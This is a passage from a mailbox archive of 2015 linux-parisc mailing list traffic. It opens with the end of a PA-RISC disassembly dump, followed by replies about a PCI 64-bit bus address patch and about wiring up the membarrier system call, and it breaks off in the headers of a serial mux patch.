 438:   db 9f 0b fe     extrd,u,* ret0,63,2,r31
 43c:   bf e0 20 70     cmpb,*<> r0,r31,47c <blk_rq_map_sg+0x47c>
 440:   d2 94 1b f4     extrw,u r20,31,12,r20
 444:   0e 14 12 90     stw r20,8(r16)
 448:   0b 96 02 5c     or r22,ret0,ret0
 44c:   35 ce 00 02     ldo 1(r14),r14
 450:   0e 1c 12 c0     std ret0,0(r16)
 454:   d9 ce 0f e0     extrd,s,* r14,63,32,r14
 458:   0e 18 12 98     stw r24,c(r16)
 45c:   4a 5f 02 18     ldw 10c(r18),r31
 460:   4a 3c 09 88     ldw 4c4(r17),ret0
 464:   0b 9f 0a 1c     add,l r31,ret0,ret0
 468:   e8 1f 18 ed     b,l e4 <blk_rq_map_sg+0xe4>,r0
 46c:   6a 5c 02 18     stw ret0,10c(r18)
 470:   34 10 00 00     ldi 0,r16
 474:   e8 1f 18 a5     b,l cc <blk_rq_map_sg+0xcc>,r0
 478:   34 0e 00 00     ldi 0,r14
 47c:   03 ff e0 1f     break 1f,1fff
 480:   81 85 81 d0     cmpb,<< r5,r12,570 <blk_rq_map_sg+0x570>
 484:   51 75 00 d0     ldd 68(r11),r21
 488:   9e 40 3d 95     cmpb,*= r0,r18,358 <blk_rq_map_sg+0x358>
 48c:   08 12 02 54     copy r18,r20
 490:   e8 00 00 18     b,l 4a4 <blk_rq_map_sg+0x4a4>,r0
 494:   08 14 02 53     copy r20,r19
 498:   9e 80 3d 65     cmpb,*= r0,r20,350 <blk_rq_map_sg+0x350>
 49c:   08 14 02 53     copy r20,r19
 4a0:   f0 cd 10 84     depd,z,* r13,59,60,r6
 4a4:   08 d5 0a 06     add,l r21,r6,r6
 4a8:   0c d0 10 9f     ldw 8(r6),r31
 4ac:   0a 65 b8 80     cmpclr,>> r5,r19,r0
 4b0:   08 05 02 53     copy r5,r19
 4b4:   08 ff 04 1c     sub r31,r7,ret0
 4b8:   0b 93 b8 80     cmpclr,>> r19,ret0,r0
 4bc:   08 13 02 5c     copy r19,ret0
 4c0:   0b 94 04 14     sub r20,ret0,r20
 4c4:   0b 85 04 05     sub r5,ret0,r5
 4c8:   da 94 0b e0     extrd,u,* r20,63,32,r20
 4cc:   08 fc 0a 1c     add,l ret0,r7,ret0
 4d0:   d8 a5 0b e0     extrd,u,* r5,63,32,r5
 4d4:   8b fc 3f 7d     cmpb,<> ret0,r31,498 <blk_rq_map_sg+0x498>
 4d8:   db 87 0b e0     extrd,u,* ret0,63,32,r7
 4dc:   35 ad 00 02     ldo 1(r13),r13
 4e0:   34 07 00 00     ldi 0,r7
 4e4:   e8 1f 1f 5d     b,l 498 <blk_rq_map_sg+0x498>,r0
 4e8:   d9 ad 0b e0     extrd,u,* r13,63,32,r13
 4ec:   e8 1f 1c 3d     b,l 310 <blk_rq_map_sg+0x310>,r0
 4f0:   50 6a 00 30     ldd 18(r3),r10
 4f4:   52 3c 0a c0     ldd 560(r17),ret0
 4f8:   0b 84 02 44     or r4,ret0,r4
 4fc:   0b bf 0a 1d     add,l r31,ret1,ret1
 500:   0b 9d 02 5d     or ret1,ret0,ret1
 504:   bc 9d 3b cf     cmpb,*<>,n ret1,r4,2f0 <blk_rq_map_sg+0x2f0>
 508:   0d 40 10 dc     ldd 0(r10),ret0
 50c:   e8 1f 1c 4d     b,l 338 <blk_rq_map_sg+0x338>,r0
 510:   0d 56 12 98     stw r22,c(r10)
 514:   4a 5c 00 b8     ldw 5c(r18),ret0
 518:   4a 3f 09 a0     ldw 4d0(r17),r31
 51c:   0b fc 02 13     and ret0,r31,r19
 520:   86 60 37 6f     cmpib,=,n 0,r19,dc <blk_rq_map_sg+0xdc>
 524:   4a 3c 09 88     ldw 4c4(r17),ret0
 528:   0e 18 10 93     ldw c(r16),r19
 52c:   0b 9f 00 1c     andcm r31,ret0,ret0
 530:   37 9c 00 02     ldo 1(ret0),ret0
 534:   0b 93 0a 1f     add,l r19,ret0,r31
 538:   0e 1f 12 98     stw r31,c(r16)
 53c:   4a 5f 02 18     ldw 10c(r18),r31
 540:   0b 9f 0a 1c     add,l r31,ret0,ret0
 544:   e8 1f 17 1d     b,l d8 <blk_rq_map_sg+0xd8>,r0
 548:   6a 5c 02 18     stw ret0,10c(r18)
 54c:   08 12 02 5d     copy r18,ret1
 550:   08 10 02 44     copy r16,r4
 554:   08 0f 02 5f     copy r15,r31
 558:   0d 60 10 cb     ldd 0(r11),r11
 55c:   bd 60 38 5f     cmpb,*<>,n r0,r11,190 <blk_rq_map_sg+0x190>
 560:   49 6d 00 58     ldw 2c(r11),r13
 564:   50 72 00 60     ldd 30(r3),r18
 568:   e8 1f 16 bd     b,l cc <blk_rq_map_sg+0xcc>,r0
 56c:   08 0a 02 50     copy r10,r16
 570:   50 61 00 40     ldd 20(r3),r1
 574:   50 28 00 00     ldd 0(r1),r8
 578:   0d 00 10 1c     ldb 0(r8),ret0
 57c:   8f 80 3e 0d     cmpib,<> 0,ret0,488 <blk_rq_map_sg+0x488>
 580:   50 61 00 50     ldd 28(r3),r1
 584:   08 1b 02 44     copy dp,r4
 588:   50 3a 00 00     ldd 0(r1),r26
 58c:   0c 70 10 dd     ldd 8(r3),ret1
 590:   e8 00 a0 00     b,l 598 <blk_rq_map_sg+0x598>,rp
 594:   70 75 00 70     std r21,38(r3)
 598:   08 04 02 5b     copy r4,dp
 59c:   03 ff e0 1f     break 1f,1fff
 5a0:   34 1c 00 02     ldi 1,ret0
 5a4:   0d 1c 12 00     stb ret0,0(r8)
 5a8:   e8 1f 1d b5     b,l 488 <blk_rq_map_sg+0x488>,r0
 5ac:   50 75 00 70     ldd 38(r3),r21
 5b0:   08 1b 02 44     copy dp,r4
 5b4:   52 3a 09 90     ldd 4c8(r17),r26
 5b8:   37 dd 3f a1     ldo -30(sp),ret1
 5bc:   e8 00 a0 00     b,l 5c4 <blk_rq_map_sg+0x5c4>,rp
 5c0:   4a 38 09 88     ldw 4c4(r17),r24
 5c4:   e8 1f 1b 95     b,l 394 <blk_rq_map_sg+0x394>,r0
 5c8:   08 04 02 5b     copy r4,dp
 5cc:   e8 1f 1c 3d     b,l 3f0 <blk_rq_map_sg+0x3f0>,r0
 5d0:   34 1f 00 00     ldi 0,r31
 5d4:   03 ff e0 1f     break 1f,1fff

--Apple-Mail-21-9557822--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: [PATCH] PCI,parisc: Enable 64-bit bus addresses on PA-RISC
Date: Mon, 14 Sep 2015 10:41:03 +0300 (EEST)
Lines: 60
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1509141040190.31198@math.ut.ee>
References: <20150902161729.GA2444@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1442216414 14250 80.91.229.3 (14 Sep 2015 07:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Sep 2015 07:40:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-pci@vger.kernel.org, Bjorn Helgaas <bhelgaas@google.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 14 09:40:11 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZbON0-0007GK-J5
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Sep 2015 09:40:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752740AbbINHkK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Sep 2015 03:40:10 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:54306 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751469AbbINHkJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Sep 2015 03:40:09 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 19237900B4;
	Mon, 14 Sep 2015 10:40:05 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 280F52214E8; Mon, 14 Sep 2015 10:41:03 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 156802214E2;
	Mon, 14 Sep 2015 10:41:03 +0300 (EEST)
In-Reply-To: <20150902161729.GA2444@ls3530.box>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26031 gmane.linux.kernel.pci:44987
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26031>

> Commit 3a9ad0b ("PCI: Add pci_bus_addr_t") unconditionally introduced usage of
> 64-bit PCI bus addresses on all 64-bit platforms which broke PA-RISC.
> 
> It turned out that due to enabling the 64-bit addresses, the PCI logic decided
> to use the GMMIO instead of the LMMIO region. This commit simply disables
> registering the GMMIO and thus we fall back to use the LMMIO region as before.
> 
> Reverts commit 45ea2a5fed6dacb9bb0558d8b21eacc1c45d5bb4
> ("PCI: Don't use 64-bit bus addresses on PA-RISC")

Seems to work fine on my A500, RP3410 and RP3440, with 4.3.0-rc1.

> To: linux-parisc@vger.kernel.org
> Cc: linux-pci@vger.kernel.org
> Cc: Bjorn Helgaas <bhelgaas@google.com>
> Cc: Meelis Roos <mroos@linux.ee>
> Cc: stable@vger.kernel.org  # v3.19+
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> 
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index dceb9dd..a32c1f6 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -1556,8 +1556,11 @@ lba_driver_probe(struct parisc_device *dev)
>  	if (lba_dev->hba.lmmio_space.flags)
>  		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
>  					lba_dev->hba.lmmio_space_offset);
> -	if (lba_dev->hba.gmmio_space.flags)
> -		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
> +	if (lba_dev->hba.gmmio_space.flags) {
> +		/* pci_add_resource(&resources, &lba_dev->hba.gmmio_space); */
> +		pr_warn("LBA: Not registering GMMIO space %pR\n",
> +			&lba_dev->hba.gmmio_space);
> +	}
>  
>  	pci_add_resource(&resources, &lba_dev->hba.bus_num);
>  
> diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
> index 944f500..73de4ef 100644
> --- a/drivers/pci/Kconfig
> +++ b/drivers/pci/Kconfig
> @@ -2,7 +2,7 @@
>  # PCI configuration
>  #
>  config PCI_BUS_ADDR_T_64BIT
> -	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
> +	def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
>  	depends on PCI
>  
>  config PCI_MSI
> 

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api
Subject: Re: [PATCH v2 4/9] parisc: allocate sys_membarrier system call
 number
Date: Wed, 16 Sep 2015 15:07:00 +0000 (UTC)
Lines: 59
Approved: news@gmane.org
Message-ID: <1649019858.9290.1442416020165.JavaMail.zimbra@efficios.com>
References: <1441642556-30972-1-git-send-email-mathieu.desnoyers@efficios.com> <1441642556-30972-5-git-send-email-mathieu.desnoyers@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1442416049 22266 80.91.229.3 (16 Sep 2015 15:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Sep 2015 15:07:29 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-api <linux-api@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 16 17:07:28 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZcEIx-0002Xs-GD
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Sep 2015 17:07:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753217AbbIPPHP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Sep 2015 11:07:15 -0400
Original-Received: from mail.efficios.com ([78.47.125.74]:48245 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751904AbbIPPHN (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Sep 2015 11:07:13 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 8C0F03402C3;
	Wed, 16 Sep 2015 15:07:11 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id 0KK8g5pSOy_o; Wed, 16 Sep 2015 15:07:01 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 1BA6D340390;
	Wed, 16 Sep 2015 15:07:01 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id 30XroUvXHGbE; Wed, 16 Sep 2015 15:07:01 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id E651E3402C3;
	Wed, 16 Sep 2015 15:07:00 +0000 (UTC)
In-Reply-To: <1441642556-30972-5-git-send-email-mathieu.desnoyers@efficios.com>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF40 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: allocate sys_membarrier system call number
Thread-Index: WnE1VfPDn+ccJX91ywzfT4hVNVp3aQ==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2039924 gmane.linux.ports.parisc:26032 gmane.linux.kernel.api:14240
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2039924>

----- On Sep 7, 2015, at 12:15 PM, Mathieu Desnoyers mathieu.desnoyers@efficios.com wrote:

> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> Tested-by: Helge Deller <deller@gmx.de>
> CC: Andrew Morton <akpm@linux-foundation.org>
> CC: linux-api@vger.kernel.org
> CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
> CC: linux-parisc@vger.kernel.org

Hi,

FYI, sys_membarrier has been pulled into Linux 4.3-rc1. Please
feel free to wire it up on parisc.

Thanks!

Mathieu

> ---
> arch/parisc/include/uapi/asm/unistd.h | 3 ++-
> arch/parisc/kernel/syscall_table.S    | 1 +
> 2 files changed, 3 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/include/uapi/asm/unistd.h
> b/arch/parisc/include/uapi/asm/unistd.h
> index 2e639d7..dadcada 100644
> --- a/arch/parisc/include/uapi/asm/unistd.h
> +++ b/arch/parisc/include/uapi/asm/unistd.h
> @@ -358,8 +358,9 @@
> #define __NR_memfd_create	(__NR_Linux + 340)
> #define __NR_bpf		(__NR_Linux + 341)
> #define __NR_execveat		(__NR_Linux + 342)
> +#define __NR_membarrier		(__NR_Linux + 343)
> 
> -#define __NR_Linux_syscalls	(__NR_execveat + 1)
> +#define __NR_Linux_syscalls	(__NR_membarrier + 1)
> 
> 
> #define __IGNORE_select		/* newselect */
> diff --git a/arch/parisc/kernel/syscall_table.S
> b/arch/parisc/kernel/syscall_table.S
> index 8eefb12..4e77991 100644
> --- a/arch/parisc/kernel/syscall_table.S
> +++ b/arch/parisc/kernel/syscall_table.S
> @@ -438,6 +438,7 @@
> 	ENTRY_SAME(memfd_create)	/* 340 */
> 	ENTRY_SAME(bpf)
> 	ENTRY_COMP(execveat)
> +	ENTRY_SAME(membarrier)
> 
> 
> .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
> --
> 1.9.1

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com

From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 4/9] parisc: allocate sys_membarrier system call number
Date: Wed, 16 Sep 2015 21:56:48 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <55F9C980.7040406@gmx.de>
References: <1441642556-30972-1-git-send-email-mathieu.desnoyers@efficios.com>
 <1441642556-30972-5-git-send-email-mathieu.desnoyers@efficios.com>
 <1649019858.9290.1442416020165.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1442433443 22715 80.91.229.3 (16 Sep 2015 19:57:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Sep 2015 19:57:23 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-api <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Mathieu Desnoyers <mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Sep 16 21:57:15 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZcIpM-0007p3-QB
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 16 Sep 2015 21:57:13 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752822AbbIPT5M (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Wed, 16 Sep 2015 15:57:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:63189 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752483AbbIPT5K (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 16 Sep 2015 15:57:10 -0400
Original-Received: from [192.168.20.60] ([92.203.76.249]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MgGDK-1ZHuQW3fqo-00Njtn; Wed, 16 Sep 2015 21:56:51
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1649019858.9290.1442416020165.JavaMail.zimbra-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
X-Provags-ID: V03:K0:glWG12UtFkdoDy8kNHX4uOIiOiSdAWQF0W9XxXFN/QLh8BcFa8a
 Zjdy1W+aVP+UInoEl08tQXxx2lD0sBF/UG+jJak/zXH4dt+rmDGSEBW8wA0/Jed2/ynoU7P
 OxVx8T4M4nBqdPmIXz4P2R+YPTaV/j/yXL4iJnQOj9nPhta+DSzb6cjuMTaUDbujIPZFIRM
 oxUareVO/FpYX2HpWK1Fg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:YuO+OYf/faU=:bIEbqYJZ9mkQ8WHR+kyx08
 jAXxaF9IovaLN+dqvs9Bby0Q6tS/J1ub+/AAVL6j4n2d7xoZXzWwQBIGFX7+WYf4FgE92XvQe
 ks3w9FxppmDRfn86DTsdZnqJeiA24B61OQc3BnCRo9epDs3qXLSAdZ4ym8DP+dXW6NO9JWyhI
 Ghi0etuRAEF9/fZudtUHkarf0NA9nFgIdj1oM2lJP/VSNqGlC5Izoo3cucvVHnNxnigQ0OkGp
 YYPhTKM+I9E1fXc7Lrp6GNtvBTcN3Gp6QL8yl+zP90MxiYWGjmvpUGkF0DknmPbd/faL/soW4
 yqmvsZc+yYG3jniV4MrwNm7I/k8ZwRyMuzGbgQETJwMDh/+lQbpNLJQLwvKMGwvOLeknkJJ3Z
 0NFPtHqdIKkeJms/mDPb6BS3dbbRjT5XVY0tbgOUCxsC26O/OHzwZLJ+3Wa4Lf69NoAM+tOg+
 g0F3c8fMWqa4Juz232vN3RCKaByZ7lS4amYoeWC3To9E61dsho89QXQ24k7pDJWSizI56twh4
 rhH15tYbyWcprFWSLNvffQ+uODK6Cxy/cnwg1V3TWN5zMtW/B7aL1keTUsfA0M5V2DnC+s5kq
 g4SR/7UuYxMFPhQpmRtLnMcJQXyON1ictHyVNc0/YuHDkTk/Rayig/GJrk5SV2A7pE7xvY46h
 LxWl4XQuAjP8SyT7uDx+spbgezf6Fdtv9Bcefg5Ya/PeW0X38E2JegXd9PGAYb0E/QhliObXI
 WFktiowds7ZwK2vUsL0BdLIFZhlIpxc/fagILw==
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:14260 gmane.linux.kernel:2040174 gmane.linux.ports.parisc:26033
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/14260>

On 16.09.2015 17:07, Mathieu Desnoyers wrote:
> ----- On Sep 7, 2015, at 12:15 PM, Mathieu Desnoyers mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org wrote:
> 
>> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
>> Tested-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
>> CC: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
>> CC: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
>> CC: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
>> CC: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> 
> Hi,
> 
> FYI, sys_membarrier has been pulled into Linux 4.3-rc1. Please
> feel free to wire it up on parisc.

Thanks for the notice.
I'll include your patch with an upcoming parisc pull-request later in the 4.3 cycle.

Helge


>> ---
>> arch/parisc/include/uapi/asm/unistd.h | 3 ++-
>> arch/parisc/kernel/syscall_table.S    | 1 +
>> 2 files changed, 3 insertions(+), 1 deletion(-)
>>
>> diff --git a/arch/parisc/include/uapi/asm/unistd.h
>> b/arch/parisc/include/uapi/asm/unistd.h
>> index 2e639d7..dadcada 100644
>> --- a/arch/parisc/include/uapi/asm/unistd.h
>> +++ b/arch/parisc/include/uapi/asm/unistd.h
>> @@ -358,8 +358,9 @@
>> #define __NR_memfd_create	(__NR_Linux + 340)
>> #define __NR_bpf		(__NR_Linux + 341)
>> #define __NR_execveat		(__NR_Linux + 342)
>> +#define __NR_membarrier		(__NR_Linux + 343)
>>
>> -#define __NR_Linux_syscalls	(__NR_execveat + 1)
>> +#define __NR_Linux_syscalls	(__NR_membarrier + 1)
>>
>>
>> #define __IGNORE_select		/* newselect */
>> diff --git a/arch/parisc/kernel/syscall_table.S
>> b/arch/parisc/kernel/syscall_table.S
>> index 8eefb12..4e77991 100644
>> --- a/arch/parisc/kernel/syscall_table.S
>> +++ b/arch/parisc/kernel/syscall_table.S
>> @@ -438,6 +438,7 @@
>> 	ENTRY_SAME(memfd_create)	/* 340 */
>> 	ENTRY_SAME(bpf)
>> 	ENTRY_COMP(execveat)
>> +	ENTRY_SAME(membarrier)
>>
>>
>> .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
>> --
>> 1.9.1
> 


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Axel Lin <axel.lin@ingics.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: [PATCH] serial: mux: Convert to uart_console_device instead of
 open-coded
Date: Sat, 19 Sep 2015 11:43:07 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <1442634187.28089.1.camel@ingics.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1442634207 14812 80.91.229.3 (19 Sep 2015 03:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Sep 2015 03:43:27 +0000 (UTC)
Cc: Daniel Thompson <daniel.thompson@linaro.org>,
	Jiri Slaby <jslaby@suse.com>, linux-serial@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 19 05:43:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zd93R-0007YO-Cr
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Sep 2015 05:43:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753723AbbISDnM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Sep 2015 23:43:12 -0400
Original-Received: from mail-pa0-f44.google.com ([209.85.220.44]:34376 "EHLO
	mail-pa0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753406AbbISDnL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Sep 2015 23:43:11 -0400
Original-Received: by padhy16 with SMTP id hy16so66672523pad.1
        for <linux-parisc@vger.kernel.org>; Fri, 18 Sep 2015 20:43:11 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:subject:from:to:cc:date:content-type
         :mime-version:content-transfer-encoding;
        bh=y+5CKc2thwL+liA8eWu5vljhsX0UmU9xnFqxMwsow6M=;
        b=mTw/uCa9Kcsup3hTn2QZ9BfiDYrPzEPQyRmNz3GRYqTdJm5A8hDxVHGX356/nqO9KJ
         NwmhgPJKFGFMLxLh74J6IzmvwO/a9RzLthi2qLOK1dPqqJpQNC3COnV6kpUKxSHbcxb7
         wNzMpGzx0F2p7SavQSUEqCP4pVedy726aYe2WC2R2fTH+NZP3cljlafh7FkjkihyUuaB
         YipNTTX/8HaxGwhSqRKrssILx92uRIKFjZEdBUiS4ug9illAKV7MtM/ayJC1n/ObWon8
